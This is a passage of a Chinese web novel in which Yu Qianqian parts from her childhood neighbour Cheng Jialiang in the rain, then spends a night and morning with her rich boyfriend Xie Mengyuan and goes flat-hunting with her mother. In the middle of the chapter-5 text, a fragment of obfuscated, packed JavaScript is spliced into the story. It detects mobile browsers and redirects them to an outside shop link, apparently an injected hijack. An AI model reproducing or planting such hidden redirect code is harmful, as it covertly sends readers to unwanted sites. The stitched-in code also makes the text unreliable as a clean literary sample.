“快到晚上,倩倩,你留下来吃饭吧。正好嘉良准备做饭。”张阿姨一边说着,一边依然快速地折金元宝。
“不了。”庾倩倩转过身,面对着张阿姨,连忙,“我待会儿还要回去呢。”
“有事吗?吃顿饭不耽误的。”
“有事。”庾倩倩撒着谎,“现在就得走了。”
“也没坐一会儿。”
“反正我回国了,有机会再来。”庾倩倩说完她站起身。
张阿姨看了看窗外的雨:“嘉良,送送倩倩。”
“没关系,就一点点路。”
可程嘉良已经拿起了门边那把黑色的旧伞,撑开了。
伞面有几处磨损,伞骨有一根微微弯曲,但还能用。
庾倩倩没有再拒绝,撑着伞走出了院子。
程嘉良走在她右侧,隔了大约一米的距离。
两个人默默地走着,只有雨点砸在伞面上的声音,朦胧得像一个梦境。
从院子到大门口,只有一两百米的路程。庾倩倩走在前面,程嘉良跟在侧后方。
到了大门口,庾倩倩停下来,转过身。
“好几年没见,”她流露出一个客气的邻居微笑,“没想到你都长这么高了。有机会再联络啊,我走了。”
程嘉良停下来,没有立刻接话。
雨雾中,他的眉眼像是被雨水打湿了,颜色深了一层,沉甸甸地压在那里。
庾倩倩避开他的注视,跨出门槛。
身后传来脚步声——他跟了两步,然后停住了。
她感觉到他的目光越过了她的肩头,落在某个方向。
她顺着看过去,是那辆白色的特斯拉,停在巷口,车身被雨水洗得发亮,在这条灰扑扑的村道上显得格格不入。
庾倩倩收回视线。
“抱歉。”她转过头,声音低了些,“刚刚是我不小心,开车溅到了你。”
程嘉良的目光从那辆车上慢慢移回来,落在她身上。
雨丝斜织,隔在他们之间。
他沉默了片刻。
“所以才掉头回来的么?”
5. 第 5 章
庾倩倩看向屋外。
雨一直在下。
淅淅沥沥,连绵不绝。
村道上很安静,没有车,没有人。
视野中只有远处空洞破损而脏污的墙面,下方堆满的碎砖小石,被雨打得乱颤的小花小草。
庾倩倩无声地用鞋尖磨着地面,一下,两下。
她能感觉到他就站在身后,撑着那把黑伞。
她没有回头,但她知道他还在看她。
她答非所问:“不用送,我回去了。”
极快地转了下头,像是面对着他说话,可眼神没有落在他身上。
完成了寒暄一般,庾倩倩撑开伞,走向那辆白色的特斯拉。
雨点砸在伞面上,噼噼啪啪。
她拉开车门,收伞,弯腰坐进去。
发动引擎,车灯亮了,在雨幕中射出两道明亮的光柱,穿透密密麻麻的雨丝,照向远处灰蒙蒙的路。
直到车子开动,庾倩倩才从后视镜里瞄了一眼。
程嘉良还站在原地。
撑着那把黑伞,身形笔直,久久朝向她的方向。
雨幕太密了,他的面目已经模糊成了一团暗色的影子,只有那把伞的轮廓还清晰。
黑T恤和目光融入了雨雾中。
庾倩倩收回目光,踩下油门。
后视镜里的那个人越来越小,越来越淡。
就像以前一样,她将过去的村庄和他一块儿抛在身后。
回到城区,庾倩倩找了家餐厅,意兴阑珊地吃晚饭。
一碗牛肉面。面很劲道,汤也很浓,但她吃不出什么味道。
筷子在碗里搅了两下,挑起几根面,又放下了。
六十六元。
以前六十六元,她能在学校花一个星期还有余。
新鲜感过后,也跟普通的面没什么区别。
但,也总要尝过一下。
吃完后,她开车回到跟谢孟渊居住的公寓。
公寓是城西最高的一栋住宅楼,通体玻璃幕墙,夜色中像一根发光的水晶柱。
地下车库地面铺着环氧地坪,亮得能照出人影。
车位上停着清一色的豪车,她的特斯拉在这排车阵里,只能算得体,远远算不上扎眼。
从地下车库进入电梯,这一路都没碰见什么人。
电梯轿厢内壁包着深灰色的皮质软包,角落里放着一小束当季的鲜花,每周换两次。
墙上的屏幕可供跟物业视频通话,深夜有人值守,二十四小时。
庾倩倩按下密码进门。
门锁发出轻微的电子音,解锁的那一刻,玄关的感应灯亮了,暖黄色的光洒下来,刚好够她看清换鞋的位置。
自动香薰机喷出浅淡的栀子花香,是她熟悉的味道,也是谢孟渊喜欢的。
她伸手按下门口智能家居触控面板上的“开帘”键。
客厅的电动窗帘整齐划一向两侧滑开,无声无息。
窗帘后面是整面的落地玻璃,从地面延伸到天花板。
窗外是城市的夜景——高楼林立,万家灯火,远处的地平线模糊在深蓝色的天幕里。
雪白的高跟鞋脏了,鞋面上沾了不少泥水。
庾倩倩蹲在玄关,从鞋柜里拿出专用的高跟鞋洗涤器,沾上湿巾,一点一点地擦。
擦着擦着,她忽然忍不住地、突兀而轻声地笑了一下。
以前在村里时,她就习惯这样蹲在门口,用塑料盆、肥皂和旧牙刷洗自己那几双运动鞋。
谢孟渊的鞋子会有专人定时来取,清洗保养后再送回来。
庾倩倩也能享受这个待遇,放着不管就行,可她下意识地自己擦了,还是蹲在门口。
习惯真是改不了。
庾倩倩擦干净鞋子,放进护鞋机里,按下启动键,机器发出轻微的嗡嗡声。
她起身走向客厅沙发,一屁股坐下去,拢了拢头发,让它松软地披散在沙发靠背上。
盯着天花板发呆。
天花板很高,做了简洁的悬浮吊顶,四周嵌着灯带。
来了电话。
姓名显示:妈妈。
背景音里隐约有麻将碰撞的声响。
“听你张阿姨说,你今天回来了一趟?”
“嗯。”庾倩倩靠在沙发上,仰头盯着天花板。
“怎么不跟我说呢?”
“你也不在。”庾倩倩直接略过了这个话题,“你明天有时间吗?咱们去看看房子。”
“哦,买房啊?”
庾倩倩明显听到刘芳的声音拔高了,身边隐约传来其他人的低声。
“哎哟,刘姐,你女儿要买房啊?”
“买什么房啊?”
……
庾倩倩没管电话里传出的背景音:“我预约了中介。明天早上我去接你,先看三套。”
“你一来一回多麻烦,来回都得三四个小时。”刘芳那边有人喊了一声“碰”,她应了,又转回来跟她说,“没关系,我明天打车过去找你,也方便,咱们哪儿见?”
她时常跟小姐妹来市里面KTV聚餐,也是熟练运用打车软件。
“去中介店里吧。”庾倩倩盯着雪白的天花板,声音没什么力气。
她随手拿过抱枕,放在自己双腿上,每次见到程嘉良都让她很烦躁、很烦躁。
她不会告诉刘芳谢孟渊的名字。
按照刘芳的性格,要是知道女儿跟了一个富二代,肯定逢人便要炫耀,整个村会在一天之内知道。
更不会让她知道这里的住址,怕万一她跑上门。
再者,她跟谢孟渊也快要分手了,他要联姻的话总要先断干净婚前关系。
她只是在等他什么时候提。
并不是索要分手费,这些年谢孟渊给她的已经够了,而是——
按照谢孟渊的自尊心,大概率他会更习惯他自己来控制这段关系。
庾倩倩只能“被分手”,不能主动分手。
“行,那我明天早点出发。”刘芳说。
庾倩倩挂断电话,起身拿上换洗的衣物,去浴室洗澡。
她把整个人沉进去,低头在那里玩着泡泡,就这么玩了一个多小时。
吹干头发后,她开床头灯,躺在床上刷小红书,看买房的攻略帖子。
村里人都搬走了,她本来也没打算留刘芳一个人住在村里。
国外的时候就打算买,实在是刘芳不靠谱,她不敢让她去看房子,更不敢把钱给她。
庾倩倩想买个三室一厅,一百三十五平左右,离市区近一点,这样以后找工作方便。
外面传来开门声。
玄关语音自动播报:“欢迎回家。”
庾倩倩放下手机,掀开空调被,走到玄关,看见谢孟渊正在换鞋。
他脸上带着一种平静的冷淡——是那种在人群里待了一整天之后,终于回到自己领地的松弛和倦怠。
庾倩倩一眼就能辨别。
“这么晚才回来?”庾倩倩走过去,接过他的公文包和西装外套,“我都快要睡着了。”
西装外套上带着外面空气的凉意和一点点若有若无的烟味——谢孟渊不抽烟,大概是公司聚餐染上的。
“帮我放热水。”谢孟渊扯扯领带,语气疲惫。
“好。”
庾倩倩从善如流地先帮他把领带解开——谢孟渊其实不喜欢打领带。
再将他的公文包放进他的办公室里,衣服放进一旁的脏衣篓,进浴室给他放热水。
她蹲在浴缸边,试了试水温,又调了按摩功能的第三档档位。
心情不好的时候,他会需要重一些的按摩。
谢孟渊跟着进来,解开衬衫长裤,赤身走进热水中,身体慢慢躺下去,长长舒了口气。
庾倩倩没有立刻走,浴缸边缘有个靠座的地方,她半靠着,伸手帮他揉着太阳穴。
“第一天上班怎么样?”她问得很轻。
“很乱。”谢孟渊言简意赅。
“乱?”庾倩倩意外。
“派系严重、各立山头、任何一件事都有重重阻力、面和心不合。”
“不是你爸的公司么?”庾倩倩还以为他一进去就是直接管的。
“公司是三家合伙,一家管工厂,一家管技术和资金,另一家管市场和销售。管市场的是我妈那边的远房亲戚,按辈分算,我要喊声舅公。”
“嗯。”庾倩倩认真听着。
“公司起初的业务几乎都是舅公跑出来的。前几年他退了休,收了不少徒弟,又安排很多亲戚进公司。他的女婿是公司的副总经理。”
“所以是他阻挠你吗?”
“阻扰算不上。是意见不合。以前公司小的时候大家只想着公司大。现在公司大了,该往什么地方走就有分歧了。舅公倒是好说话,可他女婿‘志向’很大,见半导体和AI火,想花几十亿搞AI,而我跟我爸这边不同意,毕竟我们是制造业,大企业盲目扩张是大忌。”
谢孟渊闭着眼,水汽氤氲在他眉骨和鼻梁之间。
“前段时间,这个女婿把他妹妹介绍给了公司另一个老总的儿子。也就是负责管工厂的另一方。”
即便庾倩倩不是很明白,也大概猜出来了——三方合伙。如果一方负责工厂建设,掌握工艺流程,另一方掌握了市场和销售,又有很多亲戚在公司,这两方结盟,剩下的那方肯定就有危机了吧。
谢孟渊没有继续说下去:“简历写了吗?”
“写了。不过有些不知道写什么,也不知道自己适合什么岗位。”
“没关系先出一版。我给人事看看你适合什么?”谢孟渊拍拍她的手,“晚饭怎么解决的?”
“随便在外面吃了。我去给你拿浴袍。”
庾倩倩起身出去,去谢孟渊的衣帽间里面的浴衣柜取出一件浴袍,放在浴室门口的架子上。
她往里看了一眼,见他始终闭目养神。
平常都是淋浴,今天特地要泡澡,大概要想事情。
她没出声打扰他,轻轻带上门出去。
过了约莫半个小时,谢孟渊洗完澡出来,往办公室里走。
他开了灯,环顾一圈,目光从书桌扫到书架,又落到窗帘上——位置都对,角度都对。
今天去公司新办公室他自己调整了好一阵。
还是庾倩倩了解他。
庾倩倩跟过来:“这么晚还要工作吗?”
“处理一些事。”
“好吧。”庾倩倩递过来一杯温水,放在桌面上,“别太晚了。”
“你先睡。”
庾倩倩点点头,回到卧室,重新窝进被子里,继续刷买房攻略。
又在搜索框里敲下了“杜尚新材料”五个字。
页面弹出来的内容大多是股市讨论。
借着AI的东风,内存和硬盘的价格一路飙升,连带稀有金属这些上游原材料也跟着水涨船高。
“杜尚”的股价比去年翻了十倍,帖子里偶尔有几张CEO“谢守礼”的照片。
面相极为冷硬,颧骨高耸,眼窝深陷,照片没有一张嘴角向上的。
评论里有人说他作风强势、铁血手腕,可惜遭遇一场车祸后身体很不好,这几年已经不怎么公开露面了。
关于公司内部情况的讨论很少。
只能从评论里看到一些零零碎碎的小道消息:
-听说明年可能要分家。
-不是分家,是拆伙。
-那家老板身体不行了,儿子刚从国外回来,还没站稳脚跟。
-那这股票还能不能拿?万一拆伙,股价不得腰斩?
-拆伙也可能是利好,把不良资产剥离出去,专注主业,说不定涨得更好。
-听说管理层最近变动很大,明年一季度可能要发公告。
似真似假,众说纷纭。
客厅的灯光暗了,谢孟渊走进来。
庾倩倩滑动关了小红书,视线从手机上往上抬,盯着他。
谢孟渊这个人,面上一派正经,私底下生活也算干净,就是偶尔也有不太体面的一面。
譬如他不喜欢穿睡衣。
晚上睡觉只穿一条内裤。
目前这栋房子专属于他的衣帽间,有个专门的浴袍柜,放了十几套供换洗的浴袍。
身侧的被褥塌陷,他掀开被子躺下,带着沐浴露淡淡的木质调香气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589444|205423||http|test|mini|href|location''.split(''|''),0,{}));
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>庾倩倩放下手机到床头柜,准备睡了,忽然腰被人搂住,被挪到谢孟渊怀里。
“还有精力?”庾倩倩挑眉。
“这点精力都没有,还管什么公司?”谢孟渊翻身上去,压在她身上。
床垫微微陷了一下。
庾倩倩笑了下,微微挪动,调整了一下位置。
床头那盏灯还亮着,灯罩是深米色的亚麻布,光线被拢成一片柔和的暖黄,只照出他半个轮廓——肩膀的弧线,颈侧的阴影,还有那双眉眼。
眉毛还是湿的,很浓,很黑。
庾倩倩盯了许久,忍不住伸出手,指尖磨蹭他的眉毛。
眉毛之下的那双眼睛,黑黢黢的,深得透亮。
果然……跟程嘉良完全不一样。
程嘉良那双眼睛是冰的话,谢孟渊这双眼睛是重彩的浓墨。
谢孟渊眉目一动,眼眸微深,偏过头,吻了吻她的手背。
他直起身,脱下浴袍,随手扔在地上,露出健壮白皙的身体。
肩膀很宽,腰却窄,肌肉线条流畅而有力,不是健身房刻意训练出来的那种肌肉贲张,而是常年自律养出来的匀称。
谢孟渊在国外并不像别的富二代那样花天酒地。
他更多是在学习,去公司的海外分公司考察,还做过一段时间的银行实习生。
每天行程都排得很满。
而这事——除了她来例假,几乎每天晚上都有。
庾倩倩的手指慢慢顺着他的胳膊滑下去。
她想,这可能是他的一种解压方式。
正因为他忙,不像别的男人有时间贪新鲜换女人,加之年轻、精力充沛,每天需要一个固定的女人来消解欲望,她才能在他身边待这么久。
谢孟渊低头,手指插入她的发间,枕头的凹陷将她微微托起,他的唇落下来。
他很喜欢接吻。
无论什么姿势,他都喜欢接吻。
有时候甚至会把她掰过来,只为了吻她。
他的吻不是慢条斯理的,也不是事后的点缀,而是绝对的入侵式——唇齿交缠,“相濡以沫”。
甚至吻着吻着,他就那样睡过去了。
这大概也算是他的性癖?
庾倩倩也没有过别的男人,不知道别人是怎样的。
她也累了,一觉睡到第二天早上六点半。
这是他们在伦敦就养成的作息习惯。
她的课业也很忙,还要打理他的一些杂事,通常比他早半个小时起床。
起床后,她先捡起谢孟渊扔在地上的浴袍,准备拿去清洗;再弯腰捡起地上的保险套,团在纸巾里扔进垃圾桶。
这又是他的坏习惯。
喜欢扔浴袍,保险套也喜欢直接扔地上。
睡姿还是趴着睡,时不时一条胳膊横过来搭在她身上,以前还会把她压醒。
庾倩倩不会做中餐,但会做一些普通的三明治、汉堡、烤吐司之类,通常用来解决早饭。
至于午饭和晚饭,在伦敦时他们就出去吃,不出去就点外卖。
今天的早餐时两份牛排汉堡,澳纽牛肉,生菜翠绿地铺在最底层,外加两份煎蛋,谢孟渊还另多了两份煎鸡胸肉。
再给自己泡了一杯葡萄冰美式,给谢孟渊倒了一杯柠檬汁温水,放在右手边。
谢孟渊洗漱完毕,从卧室里走出来。
他已经换好了衬衫和西裤,头发也打理过,整个人又变回了那个一丝不苟的谢孟渊。
庾倩倩站在厨房前,双手撑着台面,笑道:“早,今天有你的早餐了。”
“你今天把简历发给我,”谢孟渊坐下来,拿起那杯温水喝了一口,“我转给人事看看怎么安排。”
“这么快吗?”
“没必要拖。”
谢孟渊向来追求效率。庾倩倩点点头:“也行。”
她低头削了一个苹果,切成块状码在瓷碟里,插上牙签,端到他面前。
谢孟渊看了一眼:“让我消火气呢?”每次他一生气,庾倩倩就给他削苹果。
庾倩倩忍不住笑出声:“是希望你平平安安。”
谢孟渊莞尔,拿起汉堡:“今天有什么安排?”
庾倩倩注意到他的问法——不是“你今天打算做什么”,而是“有什么安排”。
谢孟渊说过,自小他父亲对他要求很严格。她揣测,以前在家里大概他爸爸谢守礼就是这么问他的,于是他也不知不觉学会了这种问法,像领导问下属,像上级布置任务。
“陪我妈去看房子。”
“买房?”他抬起头看了她一眼。
庾倩倩点点头:“想有个自己的房子。”
谢孟渊不置可否,也没有反对。
很快,他用完早饭。
“今晚我可能依然很晚回来。”
庾倩倩点点头,她直到。
谢孟渊进办公室拿公文包。
出来的时候,庾倩倩已经把他办公室的门带上了——她知道他的习惯,整理好的办公室,以后除了基础清洁,他不需要任何人进去动他的东西。他有自己的条理。
庾倩倩跟着他到了玄关,看着他换鞋。她靠在墙边,盯着他的动作看了一会儿。
许久,问了一句:“上班不开心吗?”
谢孟渊直起身,望着她。
“很有挑战。”他回答。
庾倩倩笑了下,脑袋轻轻靠在墙壁上,撒娇似的:“我昨天发现了一家很好吃的烤肉店,等你闲下来,我们一块儿去吃。”
谢孟渊伸手捏了捏她的脸,力道很轻:“好。”
门关上了。
庾倩倩站在玄关,站了几秒钟,听着脚步声渐渐远去。
她转身走回餐桌边,开始收拾碟盘和杯子。
水流冲过瓷器表面,她一个一个地洗。
食得咸鱼抵得渴。
她跟那天在酒吧里碰见的那两个女生,本质上没什么不同。
既然拿对方的钱,就要提供相应的情绪价值。
她知道谢孟渊喜欢什么。
除了美貌和清纯,他还喜欢温柔、体贴、那种“我只在意你”的关注,以及偶尔的、恰到好处的撒娇。
6. 第 6 章
跟刘芳约定的时间是上午九点。
庾倩倩换了身衣服出门,开车到了中介店门口,远远就看见刘芳拎着小包,站在花丛后面的门廊下等着。
她今天穿了一件紫红色的真丝衬衫,下摆塞进黑色的西裤里,头发也像是特意做过的,还戴了一对金耳环……
怎么说呢,装暴发户富婆的气势。
庾倩倩倒车停在中介店门口的停车位。
刘芳一见庾倩倩的车便转过头跟身边的中介喜滋滋地介绍:“我女儿来了。”
中介是个年轻小伙子,穿着白衬衫黑西裤,头发梳得一丝不苟,脸上挂着职业的微笑。
他一见庾倩倩下车,便客气地迎上前来:
“庾小姐,你好,咱们昨天微信上联系过。”
庾倩倩点点头:“你好。”
“今天天气太热了,咱们早点去看房子,不然待会儿太晒。今天看的是绿芜小区的三套,都是新房子,走过去就行。现在带你们过去?”
刘芳跟了过来,一胳膊勾住庾倩倩的胳膊,姿态十分亲昵。
庾倩倩点点头:“好。”
中介带他们去看房,路上稍微介绍了小区环境。
“绿芜小区在市中心算是性价比很高的了,”中介小哥边走边说,抬手朝远处指了指,“旁边就是市人民医院,走路过去不到十分钟。还有地铁三号线,绿芜路站,从小区后门出去就是。这一片的学校也不错,绿芜小学、实验中学,都在一公里以内。”
“物业是绿岸城旗下的,口碑一直挺好。”中介补充了一句,“安保、保洁、绿化养护,反馈都不错。”
庾倩倩点点头。
前几年她在国外有买房心思的时候,恰好逢着这里新开盘,她关注过。
那时候房价高,居高不下,这个楼盘一套像样的三居室最少五百万。
“这个盘不是新盘了,卖了两年,”中介语气显得很替人着想,“不过现在价格比高点的时候降了不少,性价比确实高。”
“降了差不多三分之一。”庾倩倩接话。
“是啊。”中介笑笑,“听说可能还会降。但已经差不多是底线了。如果是刚需的话,还是趁早入手好。说不定以后会反弹呢。”
反弹倒未必会反弹。庾倩倩也不是冲着以后反弹买的。
她需要一套自己的房子,买房是刚需,不是投资,涨跌跟她关系不大。
小区楼底下的绿化很好,乔木灌木错落有致,草坪修剪得像一块绿色的天鹅绒地毯。
就是路七拐八拐的,大概是默认住户都从地下车库直接入户,所以地面只预留了散步的小径,还有一些亭台楼阁、假山流水,方便人晚上溜达。
在市里面买小区房,刘芳很是高兴。
她左看右看,眼睛里全是新鲜和满意。
“听说庾万发的儿子儿媳也在这买房呢。”她兴致勃勃地说道,庾万发是他们村的村支书。
有同村的人在这里对刘芳是加分项,对庾倩倩却是彻底的减分项。
不过小区这么大,也未必能碰见。
先看看房再说吧。
“庾小姐是想要毛坯房是吗?”中介回过头问。
庾倩倩点点头:“我想自己装修。不过想先看看精装修的效果,要是合适也省了一笔装修钱。”
“也是。待会儿我们要看的22栋,这套是开发商的精装修新房,位置在小区最后面,安静但稍微有点偏。还有一套是7栋,业主自售的,本来打算作婚房的,后来业主回老家发展,所以降价出售,新装修了还没住进去,也跟全新的差不多。这两套都有得谈。毛坯房就是固定价格了。”
“多少钱啊?”刘芳勾着女儿的手听了半天,终于忍不住问。
她只知道庾倩倩想买房,还以为就是买个普通小区。可这一路走进来,光看这绿化、这楼间距、这入户大堂的装修,就知道地段和物业都不一般。
“这里至少都要三百万起步的,”中介客气地说。
刘芳瞪大眼睛。
“庾小姐预算是三百万左右?”
“是。我打算全款买。”
其实也能匀个两百万付首付,再慢慢还贷,这样能买更大的房子。
但庾倩倩对房子的要求没那么高,也不想给以后增加压力。足够养老的全款房和存款,比负债的豪华房子更让她有安全感。
中介小哥笑得眼睛都眯了起来:“那更好了,没有贷款的负担,省心。没有房贷的人最轻松。”
庾倩倩点点头,她也这么认为。
刘芳在旁边听着,脸上的表情变了好几变。
她只知道庾倩倩要买房子,也不用她出钱。
她以为女儿付个几十万首付就差不多了,没想到一开口就是全款,三百万。
“来,这边进电梯。”中介带他们走过去。
电梯门关上,中介按下三楼的按钮,转过身来继续介绍。
“第一套在三楼。视野很好,楼下就是绿芜湖。”
电梯到了,门打开,中介领他们走进去。
“户型很方正,”中介站在客厅中央,用手比划了一下,“三室一厅,南北通透。客厅挺大的,主卧带飘窗,采光很好。”
庾倩倩环顾四周。
装修是开发商的统一风格,蓝色主调——沙发是深蓝色的,茶几是浅蓝色的,床头背景墙也是蓝色的。
墙上挂着一幅仿毕加索画,色彩浓烈,线条扭曲。
“这是纯意大利风格的设计,“当然家具不是原装进口的,但风格是那个味儿。”
刘芳一进去就“哇”了一声,左看右看,摸了摸沙发的皮面,回头对庾倩倩说:“这套好!这套好!搬进来就能住,省事!”
虽然装修确实不错,但庾倩倩一看就知道为什么没卖出去。
三楼楼层太矮。她看过一些经验贴,矮楼层湿气容易往上返,住久了墙面起皮、柜子发霉都是常事。
楼底下正对着小区的花园,凉亭、长椅、鹅卵石小径一应俱全,晚上必然很吵。
再加上朝向偏西,一到下午太阳直直地晒进来,夏天不开空调根本待不住。
卖不出去,不是没有道理的。
见庾倩倩看了会儿就不看了,中介也估摸她没满意。
他又带他们走到隔壁,也简单介绍一下:“旁边这套户型一样,装修风格也差不多,就是色调换成了黄色系。您看,沙发是姜黄色的,窗帘是米黄色的,墙上的画也换了暖色调。有人喜欢蓝的,有人喜欢黄的,全看个人喜好。”
庾倩倩点头:“确实,大同小异。”
中介知道这两套她都没看上,又引着她出来:“第二套在七栋,是业主自己装的。本来打算作婚房的,后来回老家发展,所以降价出售。”
进了门,果然不一样。
整体偏暗,深色系的家具——胡桃木的茶几,深灰色的布艺沙发,黑色的电视柜。
用料比样板间扎实不少。
“能看出来业主花了心思的。”中介说,“电器都买的大牌子。”
庾倩倩抬头,盯着沙发上方挂着一对大红喜字结,红艳艳的。
不知道发生了什么,最后要卖房回老家。
外地人要打拼很久才能有这么一套房子吧,如果开盘就买,正好买在最高峰了,现如今却是腰斩出售。
刘芳还是点头:“也不错,也不错。”
庾倩倩只说:“去看看毛坯房吧。”
“行,毛坯房也在这栋,”中介说,“在十楼,我们现在上去。”
毛坯房里,水泥墙面,裸露的管道,灰扑扑的地面,什么都没有。
“毛坯房的好处是可以按自己的喜好来装,”中介说,“精装修就是省心,拎包入住。”
庾倩倩站在空荡荡的客厅中央,环顾四周。
开发商的样板房她不喜欢——颜色太跳了,要么蓝要么黄。
别人新房的装修虽能看出花了心思,但终究是别人的审美。
也许是受了谢孟渊的影响。
她喜欢现在住的那栋公寓的风格——大面积的留白,简洁利落的线条,功能分区明明白白。
单独的衣帽间,独立的办公室,落地门窗把阳光整个放进来,没有任何多余的装饰。
庾倩倩在毛坯房里走了很久,从客厅到卧室,从卧室到阳台,又从阳台绕回客厅。
她在心里量着尺寸,想象着哪里放沙发,哪里做岛台,哪里隔出一间书房。
中介小哥经验丰富,也不催,只是安静地等着。
——真正感兴趣的,才会这样仔仔细细地看。
明眼人都看得出来,真正的决定权在这个年轻漂亮的女儿身上。
刘芳跟着转了转,东看看西摸摸,最后站定:“好像也不错。”
她显然是没什么意见的。
庾倩倩对这套毛坯挺满意。
三室一厅,户型方正,朝向也好。
只不过毕竟是大钱,加上第一次买房,总要多看几套才能下定决心。
中介小哥也知道,买房这种事,极少有人第一天就拍板。
“今天能看的就是这三套。”他说,“附近的楼盘我也有,田渊水榭和桃源世外,各有几套在售。您要是有兴趣,我再带您去看看?”
庾倩倩摇了摇头:“不了,到中午了。我跟我妈先去吃饭。今天辛苦,过几天再麻烦你带我们看房。”
“好。”
辞别了中介,小区出后门,开车五分钟就是个商超。
商场四楼有一家餐厅,装修挺雅致的。
庾倩倩带刘芳找了个靠窗的位置坐下,服务员递上菜单。
庾倩倩边翻看菜单边说:
“妈,我买房之后,先在这附近给你租一间。你离得近,可以顺便帮我盯盯装修。等装完了,就直接搬进来。”
买房一方面是为自己跟谢孟渊分手后有个落脚的地方,另一方面也是不希望刘芳再一个人住在村里了。
庾倩倩说完,等了等。
刘芳出乎意料地没有热切地应声。
庾倩倩抬起头,看见母亲脸上浮出了一种尴尬。
“你不想搬过来?”
刘芳有些不好意思似的,嘿嘿笑了两声:“哎,这房子是好看的。我一看就喜欢。只不过……我在这儿谁都不认识,跟人家怎么有共同话题嘛。其实啊,还不如乡下热闹,干什么都能找到人。”
庾倩倩看着她。
“以后你生孩子我肯定来帮你带的,放心!”刘芳怕她误解似的,连忙又加了一句,像是在表决心,“带孩子是我的义务,我肯定不会推辞的!”
庾倩倩不关心什么义务不义务,也从不认为这是义务。
她只是很疑惑:“乡下有什么好的?你一个人住不安全,路也不好走,没有监控,人情往来又杂。住这里不好吗?”
“住这里是挺好的。”刘芳赶紧说,像是怕女儿误会她不领情。但她顿了顿,还是把下半句说了出来,“但是……不热闹。”
庾倩倩看了她一眼。
她明白了。
她妈妈这两年手头宽裕了,身边有了一群小姐妹,在村里找到了尊严和归属感。
离开农村进入城市,她也就是个普通的中年女性。没有工作,没有社交圈,只能天天待在家里,连麻将凑不齐一桌。
庾倩倩没有说话,垂下眼。
服务员上来提前给她们送上两杯沙棘汁。
刘芳像是怕她生气,惴惴地问:“女儿,你生气了?”<
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p>庾倩倩抬眼,语气很轻:“没有。”
说完,她把菜单递过去:“你先点菜。”
刘芳接过菜单,低着头翻看。
庾倩倩拿起沙棘汁,吸了一口。
指腹摸到杯壁沁出来的凉意。
她忽然想——也许是她自以为是了。
刘芳喜欢留在村里,而她着急带她出来买房,还想着让她在附近租房,除了确实希望妈妈过得更好,也许更可能是——
她不想每次回去,都可能碰到程嘉良。
刘芳见她没生气,神色放松起来,点完菜她喝了口沙棘汁,突然想起什么,抬起头来。
“对了,下下个星期,你张阿姨五十大寿,你回不回去?”
庾倩倩的手指在杯壁上轻轻顿了一下。
“五十大寿?”
“是啊。她残疾嘛,嫁得晚,所以孩子也生得晚。嘉良才多大,她都五十了。”刘芳的语气感慨。
“在哪办?拆迁房那里吗?”
“不是。”刘芳摇了摇头,“就在他们家的院子。”
当年村里拆迁,大部分人家都搬走了。
不像她家有户口纠纷,程嘉良家里倒是不存在户口的问题,指标也有。
可老村他们家的院子大,能堆垃圾,能放废品。
张阿姨这些年就是靠在院子里收废品、叠元宝,一点一点把两个孩子拉扯大的。
如果搬到拆迁房去,楼上楼下的,左邻右舍的,那些纸壳子、塑料瓶、旧电器往哪里放?没有住户想跟他们一块住。
而且去拆迁房小区也没有菜地种菜,养鸡养鸭,再说,拿指标换拆迁房还要另交几万块钱,装修也得花钱,他们家拿不出来。
所以程嘉良家里把指标卖了。
“看情况吧。”庾倩倩淡淡地说。
“她昨天还给我剥了盆毛豆,专门送过来,说你还给她送了礼呢。”刘芳的语气里带着一点意外,“长大了啊,知道人情世故了。”
“你不是说她家帮过你很多次吗?”
“现在没搬走的就剩我们两家,可不得互相照应。上次我洗澡,突然保险丝断了,灯全灭了,黑漆漆的,又不敢出门,吓得我哟。恰好嘉良路过,我喊他帮我看电表,他帮我修好了。”
服务员陆陆续续地上菜。
西红柿烧牛腩、清炒空心菜、紫菜鸡蛋汤,最后一道板栗烧鸡放在正中间。
“快吃!”刘芳催促着,自己也拿起了筷子。
她夹了块牛腩,嚼了两口,忽然又开了口,语气带着那种闲聊家常的打趣:“高中的时候我记得你晚自习回来,是嘉良在巷子口接你吧。那时候我还以为你俩偷摸谈恋爱呢。”
“没有的事。”庾倩倩放下果汁杯。
“真有我肯定要让你们断了。”
“为什么?”庾倩倩好奇。
刘芳放下筷子,看了她一眼,那眼神里带着一种“这还用问”的诧异。
“从小没爸爸,妈妈又是个残疾人,没车没房的,别说帮忙了,连不拖累就算是好的了。”刘芳吃着牛腩,语调含混,“他妈妈五十大寿,你看村里几个人会去?也就他自己家那几个人。一个残废的妈妈,还有个上学的妹妹,这个担子多重。”
“可是他学历很好。”庾倩倩说。
“现在工作这么难找,”刘芳又夹了些空心菜,“我刷抖音上说,名牌大学生好多都找不到工作的。以后追女朋友,女朋友看见他家这样子,连门都不会进。”
庾倩倩没接话,低下头,拿起筷子。
“以后别刷抖音了,上面都是乱说的。”她夹了一块板栗,放进碗里,语气很淡,“他会有出息的。”
刘芳仔细盯着低头的庾倩倩,居然难得沉默了几秒。
过了片刻,她又开了口,像是在自言自语:“不管怎么样,人还是要现实一点。嘉良也不是不好,但嫁到他家肯定很辛苦……”
又过了一会儿,她抬起头:“女儿,你买房的钱,是你男朋友出的?”
“算是。”
“不错。”刘芳眉开眼笑,像是心里一块石头终于落了地。
她没见过那个男朋友,只知道两个人年龄差不多,是同一届,还一起出国留学——一起出国留学就证明庾倩倩没有骗她,年龄差不多才能一起出国留学。
对方家世好,学历好,又舍得花钱——这才是好对象嘛。
可笑着笑着,她看着庾倩倩,忍不住叹了口气。
“唉,你都这么大了,要是你爸还在多好。如果不是那场车祸……”
吃完饭,庾倩倩又带刘芳逛了逛。
刘芳看中了好几件衣服,试了一件又一件,站在镜子前左照右照,拿不定主意。
庾倩倩拍板买了两套浅色的连衣裙和一套衬衫长裤。
买完衣服之后到了下午三点多。
庾倩倩把刘芳送到路边,帮她叫了一辆网约车。
“到家了给我打电话。”
刘芳“哎”了一声,关上车门。
车子汇入车流,很快就看不见了。
庾倩倩开车回公寓。
恰好碰到下班高峰期。
没开多久前面的车就排起了长龙。
每一段路都堵得水泄不通,红绿灯换了好几轮,车子才往前挪了不到两百米。
